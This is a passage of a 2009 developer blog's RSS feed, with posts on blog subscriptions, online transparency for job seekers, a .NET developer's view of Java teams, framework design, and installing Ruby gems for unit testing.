Content matters, design doesn't: Subscribers read your blog through RSS readers. Content is key, twitter widgets, plug-ins, and badges are self serving - they matter more to the blogger than their audience. If readers desire a more granular need-to-know-you level of information, then chances are that [...]]]></description>
			<content:encoded><![CDATA[<p>A couple more factors that have shaped my blog subscriptions.</p>
<p><strong>Content matters, design doesn't</strong>: Subscribers read your blog through RSS readers. Content is key, twitter widgets, plug-ins, and badges are self serving - they matter more to the blogger than their audience. If readers desire a more granular <em>need-to-know-you</em> level of information, then chances are that they already stalking you. If you're a graphic designer then aesthetics do matter.</p>
<p><strong>Debriefings on local events without a unique personal voice are lame (actually, anything without a personal voice is lame)</strong>: Most subscribers skim, they seek out information and move on. Well written articles with a unique personal voice continue to draw me in. Information about the number of people who showed up, what you ate, or the decor of the venue are minor details. Seriously, I'll email you if I'm interested.</p>
<p><strong>Subjectivity is interesting</strong>: Reading / writing / learning is about considering alternative views and new opinions, there's always a degree of subjectivity - nothing is absolute.</p>
<p><strong>Some authors are always right, which is always wrong</strong>: A blogger's blog is their domain, but it's distasteful when an author defends their posts in an attempt to save face (to appear right all the time). Sharing opinions publicly is about collaboration, and validation, not being right or wrong.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=AlePJcO9El8:F15awO4JajY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=AlePJcO9El8:F15awO4JajY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=AlePJcO9El8:F15awO4JajY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=AlePJcO9El8:F15awO4JajY:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=AlePJcO9El8:F15awO4JajY:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=AlePJcO9El8:F15awO4JajY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=AlePJcO9El8:F15awO4JajY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=AlePJcO9El8:F15awO4JajY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/AlePJcO9El8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/04/14/more-thoughts-on-blogging/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/04/14/more-thoughts-on-blogging/</feedburner:origLink></item>
		<item>
		<title>Transparency: How Much is Too Much?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/c0AGMQ_xH08/</link>
		<comments>http://adam.kahtava.com/journal/2009/03/07/transparency-how-much-is-too-much/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 20:13:50 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Interview]]></category>

		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Personal]]></category>

		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/PermaLink,guid,e29d6876-918c-4e1d-94a2-53a2c8dc5d42.aspx</guid>
		<description><![CDATA[ 
 Gary Vaynerchuk offers this piece of advice:
The only way to succeed now is to be completely transparent, everything is exposed, everything you do - Gary Vaynerchuk
For most web / knowledge workers, transparency is key to cultivating an online presence - today, your online presence (your Google search results) is your resume, everything you [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;"><a href="http://www.flickr.com/photos/hi-phi/7574977/"><img src="http://farm1.static.flickr.com/8/7574977_052e741758_m.jpg" style="border: 0px none ;"></a> </div>
<p> Gary Vaynerchuk offers this piece of advice:<br />
<blockquote>The only way to succeed now is to be completely transparent, everything is exposed, everything you do - <a href="http://garyvaynerchuk.com/post/78963947/my-web-20-keynote-in-nyc">Gary Vaynerchuk</a></p></blockquote>
<p>For most web / knowledge workers, transparency is key to cultivating an online presence - today, your online presence (your Google search results) is your resume, everything you do online is fair game - your search results (or lack of results) generally reflect whether you&#39;re an overall <i>good-person</i>, experienced, or a bit outdated.  </p>
<p> <b>A reassessment</b>: last month the faltering economy finally hit home - I was out of work. While search for a new job, I was surprised that most potential employers (<i>nearly all</i>) were looking me up on Google. From Google they&#39;d land on my blog, my <a href="http://twitter.com/AdamDotCom">Twitter</a> account, <a href="http://www.flickr.com/photos/kahtava/">flickr</a>, and so on. In one of my interviews I was told of an unfortunate candidate that had questionable content and photos online - this was a deciding factor in his <i>no-hire</i> decision. <b>This had me feeling a little uncomfortable and begged for a reassessment of my level of transparency. </b> </p>
<p> Randy Pausch once said:<br />
<blockquote>I&#39;ll [hire] an earnest person over a hip person every day, because hip is short-term, earnest is long term - <a href="http://en.wikiquote.org/wiki/Randy_Pausch">Randy Pausch</a></p></blockquote>
<p> I echo Randy&#39;s sentiments. <b>If you&#39;re an earnest, authentic, and good natured person, then transparency can be a huge asset.</b> You should be exposing everything you do! Well... maybe not everything, there&#39;s little value in knowing what you ate for lunch, or when you&#39;re sleeping / awake - practicing some self moderation and making use of your inner monologue is recommended, because excessive transparency can bleed into white noise.<br />
<blockquote>no matter what remember the web is NOT Las Vegas. What happens on the web does NOT stay on the web. I&#39;ll bet <a href="http://arcanecode.files.wordpress.com/2008/12/image-thumb1.png?w=403&amp;h=484">this guy</a> wishes he&#39;d have remembered that. - Arcanecode, <a href="http://arcanecode.com/2008/12/12/step-5-guard-your-credibility/">Guard your credibility</a> </p></blockquote>
<p><b>With applications like Twitter and Facebook it&#39;s easier than ever to be transparent, but do we run the risk of being too transparent? How much is too much?</b></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=c0AGMQ_xH08:FthxHcYERwA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=c0AGMQ_xH08:FthxHcYERwA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=c0AGMQ_xH08:FthxHcYERwA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=c0AGMQ_xH08:FthxHcYERwA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=c0AGMQ_xH08:FthxHcYERwA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=c0AGMQ_xH08:FthxHcYERwA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=c0AGMQ_xH08:FthxHcYERwA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=c0AGMQ_xH08:FthxHcYERwA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/c0AGMQ_xH08" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/03/07/transparency-how-much-is-too-much/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/03/07/transparency-how-much-is-too-much/</feedburner:origLink></item>
		<item>
		<title>Working On the Dark Side of the Technology Stack: A .NET Developer Working in the Java Community</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/RT7I74E6aIU/</link>
		<comments>http://adam.kahtava.com/journal/2009/02/26/working-on-the-dark-side-of-the-technology-stack-a-net-developer-working-in-the-java-community/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 15:26:39 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[Personal]]></category>

		<category><![CDATA[Programming Languages]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/PermaLink,guid,acb8c5ea-3a52-4076-a729-6d666a0d1420.aspx</guid>
		<description><![CDATA[ 
 Over the past couple months I had the pleasure of working in a Java shop. Up to this point I&#39;ve spent most of my time in the .NET realm. Working with Java was a great chance to experience the similarities and contrasts between environments, cultures, and web application implementations. Here are a couple [...]]]></description>
			<content:encoded><![CDATA[<div style="padding-left: 5px; float: right;"><a href="http://flickr.com/photos/leahculver/2380865613/"><img style="border: 0px none ;" src="http://farm3.static.flickr.com/2206/2380865613_4671d9c404_m.jpg"></a> </div>
<p> Over the past couple months I had the pleasure of working in a Java shop. Up to this point I&#39;ve spent most of my time in the .NET realm. Working with Java was a great chance to experience the similarities and contrasts between environments, cultures, and web application implementations. Here are a couple of my observations.</p>
<p> <b>Java developers are more knowledgeable than the <i>typical </i>.NET developer. </b>Java developers tend to gravitate towards complexity, Linux, UNIX, open source, and continuous learning. They are less familiar with the wizards and drag-n-drop style development that often characterize .NET development. The Java developers I worked with didn&#39;t depend on a single unified IDE (like Visual Studio), instead each developer chose their text editor / environment (Emacs, Eclipse, TextMate, E-TextEditor, and jEdit were all being used on a single project). Each developer was responsible for being productive with their editor; and took responsibility for learning shortcuts, and other performance enhancing techniques. This broad use of editors placed an emphasis on the core command line tools which ensured that developers knew how the application was put together, and cultivated broad application troubleshooting skills within the team.  </p>
<p> <b>Unified IDEs (like Visual Studio or Eclipse) do not result in faster development, better developers do.</b> Developers empowered with the ability to choose their development environment / text editors / operating system resulted in more passion and responsibility. Informal friendly rivalry between editor users drove development faster while providing diversity within the work place. &nbsp;</p>
<p> <b>Programming languages and technology stacks don&#39;t matter to <i>experienced</i> software developers.</b> As a developer it&#39;s easy to become a fanboy of languages or technologies stacks, but... they don&#39;t matter - writing good software within the bounds of our project do. There&#39;s no reason to be tied to a specific language or technology stack. Sure, languages fall into a specific category (dynamic, static, classical inherited, prototypical inherited) but programming languages are very similar.</p>
<p> Steve McConnell has been saying this all along:<br />
<blockquote>mastering more than one language is often a watershed in the career of a professional programmer. <b>Once a programmer realizes that programming principles transcend the syntax of any specific language, the doors swing open to knowledge that truly makes a difference in quality and productivity.</b> - Steve McConnell, <a href="http://www.amazon.com/dp/0735619670/">Code Complete 2nd Edition</a></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RT7I74E6aIU:q8BJaAFoB3M:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RT7I74E6aIU:q8BJaAFoB3M:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=RT7I74E6aIU:q8BJaAFoB3M:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RT7I74E6aIU:q8BJaAFoB3M:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=RT7I74E6aIU:q8BJaAFoB3M:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RT7I74E6aIU:q8BJaAFoB3M:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=RT7I74E6aIU:q8BJaAFoB3M:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=RT7I74E6aIU:q8BJaAFoB3M:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/RT7I74E6aIU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/02/26/working-on-the-dark-side-of-the-technology-stack-a-net-developer-working-in-the-java-community/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/02/26/working-on-the-dark-side-of-the-technology-stack-a-net-developer-working-in-the-java-community/</feedburner:origLink></item>
		<item>
		<title>Don’t Write Frameworks For Dummies</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/H0F7-dJ9bd8/</link>
		<comments>http://adam.kahtava.com/journal/2009/02/05/dont-write-frameworks-for-dummies/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 23:03:09 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[AJAX]]></category>

		<category><![CDATA[ASP.NET]]></category>

		<category><![CDATA[ASP.NET AJAX]]></category>

		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/PermaLink,guid,b1e1660b-3d7e-46e7-a287-6c136b938178.aspx</guid>
		<description><![CDATA[Eric Evans offers this piece of advice:
Don't write frameworks for dummies. [Frameworks designed by organizations] that assume some developers are not smart enough ... are likely to fail because they underestimate the difficulty of ... development. ... This attitude also poisons the relationship between [the developers and framework designer]. - Eric Evans, Domain-Driven Design: Tackling [...]]]></description>
			<content:encoded><![CDATA[<p>Eric Evans offers this piece of advice:</p>
<blockquote><p>Don't write frameworks for dummies. [Frameworks designed by organizations] that assume some developers are not smart enough ... are likely to fail because they underestimate the difficulty of ... development. ... This attitude also poisons the relationship between [the developers and framework designer]. - Eric Evans, <a href="http://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215/">Domain-Driven Design: Tackling Complexity in the Heart of Software</a></p></blockquote>
<p>Evans goes on to make the point that there's a fine line between designing for dummies, and providing useful encapsulation / abstraction. I found this advice interesting because I had been wrestling with whether the <a href="http://adam.kahtava.com/journal/2008/04/21/the-aspnet-ajax-framework-is-for-dummies/">ASP.NET AJAX Framework is for Dummies</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H0F7-dJ9bd8:2qsxYIIqsDQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H0F7-dJ9bd8:2qsxYIIqsDQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H0F7-dJ9bd8:2qsxYIIqsDQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H0F7-dJ9bd8:2qsxYIIqsDQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H0F7-dJ9bd8:2qsxYIIqsDQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H0F7-dJ9bd8:2qsxYIIqsDQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H0F7-dJ9bd8:2qsxYIIqsDQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H0F7-dJ9bd8:2qsxYIIqsDQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/H0F7-dJ9bd8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/02/05/dont-write-frameworks-for-dummies/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/02/05/dont-write-frameworks-for-dummies/</feedburner:origLink></item>
		<item>
		<title>Happiness</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/CtoxT43ur40/</link>
		<comments>http://adam.kahtava.com/journal/2009/02/03/happiness/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 19:38:18 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/PermaLink,guid,eac3e529-c119-442b-9e18-0d5bbab89807.aspx</guid>
		<description><![CDATA[Happiness is when what you think, what you say, and what you do are in harmony. - Mohandas Gandhi
]]></description>
			<content:encoded><![CDATA[<blockquote><p>Happiness is when what you think, what you say, and what you do are in harmony. - Mohandas Gandhi</p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CtoxT43ur40:W-RvilWOFPw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CtoxT43ur40:W-RvilWOFPw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=CtoxT43ur40:W-RvilWOFPw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CtoxT43ur40:W-RvilWOFPw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=CtoxT43ur40:W-RvilWOFPw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CtoxT43ur40:W-RvilWOFPw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=CtoxT43ur40:W-RvilWOFPw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=CtoxT43ur40:W-RvilWOFPw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/CtoxT43ur40" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/02/03/happiness/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/02/03/happiness/</feedburner:origLink></item>
		<item>
		<title>Fun with Ruby: The RubyGem Package Manager and the Test-Unit Gem</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/25BLEZ72pm4/</link>
		<comments>http://adam.kahtava.com/journal/2009/02/02/fun-with-ruby-the-rubygem-package-manager-and-the-test-unit-gem/#comments</comments>
		<pubDate>Mon, 02 Feb 2009 16:45:31 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Programming Languages]]></category>

		<category><![CDATA[RoR]]></category>

		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/PermaLink,guid,57d735fd-66d7-4d79-acf7-07664006198d.aspx</guid>
		<description><![CDATA[Ruby is consistently placed as one of the ten most popular programming languages - see the TIOBE Programming Community Index for more language comparisons. Matz (the creator of Ruby) described his guiding philosophy for the language as one that's "designed to make programmers happy". While the Ruby language gets a lot of praise for its [...]]]></description>
			<content:encoded><![CDATA[<p>Ruby is consistently placed as one of the ten most popular programming languages - <em>see the <a href="http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html">TIOBE Programming Community Index</a> for more language comparisons</em>. <a href="http://en.wikipedia.org/wiki/Yukihiro_Matsumoto">Matz</a> (the creator of Ruby) described his guiding philosophy for the language as one that's <em>"designed to make programmers happy"</em>. While the Ruby language gets a lot of praise for its zen like qualities, its clarity, and terseness. The tools surrounding Ruby like the <a href="http://rubyforge.org/projects/rubygems/">RubyGem Package Manager</a> along with its active community and growing collection of Gems (view the list <a href="http://rubyforge.iasi.roedu.net/gems/">here</a>) are often overlooked.</p>
<p>I like the RubyGem system just as much as Ruby, it makes a developer's life easy.</p>
<p>For example, let's say I want to design a new class:</p>
<ul>
<li> <a href="http://www.ruby-lang.org/en/downloads/">Install Ruby</a></li>
<li> Install the Test-Unit Gem (along with a couple automatically installed prerequisites):</li>
</ul>
<pre>C:\&gt;gem install test-unit
 Successfully installed test-unit-2.0.2
 Successfully installed hoe-1.8.3
 Successfully installed rubyforge-1.0.2
 Successfully installed rake-0.8.3</pre>
<ul>
<li> Create a new <em>test.rb</em> file along with a new <em>class.rb</em> file (alternately we could have used the Interactive Ruby Shell directly from the command line)</li>
<li> Run the test (<em>test.rb</em>):</li>
</ul>
<pre>C:\&gt;ruby test.rb
 Loaded suite test
 Started
 .
 Finished in 0.001 seconds.
 1 tests, 1 assertions, 1 failures, 0 errors</pre>
<ul>
<li> ???</li>
<li> Profit! :)</li>
</ul>
<p>Contrasting this to the Java / C# world: I'd be installing a compiler (or slower yet an IDE), then installing / configuring a testing framework. I'd also probably be installing a build process tool (like ant / nAnt), then I'd need to create a build file.</p>
<p>Similarly if I wanted to install Rails at the command line I specify <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 13px; font-weight: bold;">gem install rails</span> or if I want to use  RSpec <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 13px; font-weight: bold;">gem install rspec</span>.</p>
<p>The Ruby tools, ecosystem, and community is fantastic.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=25BLEZ72pm4:Qh4eZvvgrv8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=25BLEZ72pm4:Qh4eZvvgrv8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=25BLEZ72pm4:Qh4eZvvgrv8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=25BLEZ72pm4:Qh4eZvvgrv8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=25BLEZ72pm4:Qh4eZvvgrv8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=25BLEZ72pm4:Qh4eZvvgrv8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=25BLEZ72pm4:Qh4eZvvgrv8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=25BLEZ72pm4:Qh4eZvvgrv8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/25BLEZ72pm4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/02/02/fun-with-ruby-the-rubygem-package-manager-and-the-test-unit-gem/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/02/02/fun-with-ruby-the-rubygem-package-manager-and-the-test-unit-gem/</feedburner:origLink></item>
	</channel>
</rss>
